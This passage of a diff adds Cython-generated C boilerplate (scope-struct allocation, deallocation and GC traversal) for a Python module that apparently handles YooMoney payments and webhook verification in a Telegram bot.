__pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct__process_callback_pay_yoomoney", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct__process_callback_pay_yoomoney", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_account_id); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_account_id) { + e = (*v)(p->__pyx_v_account_id, a); if (e) return e; + } + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_calculated_hash); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_notification_secret); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_sha1_hash); + Py_CLEAR(p->__pyx_v_string_to_hash); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o; + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_calculated_hash) { + e = (*v)(p->__pyx_v_calculated_hash, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_notification_secret) { + e = (*v)(p->__pyx_v_notification_secret, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_sha1_hash) { + e = (*v)(p->__pyx_v_sha1_hash, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_2_yoomoney_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_2_yoomoney_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)); + (void) 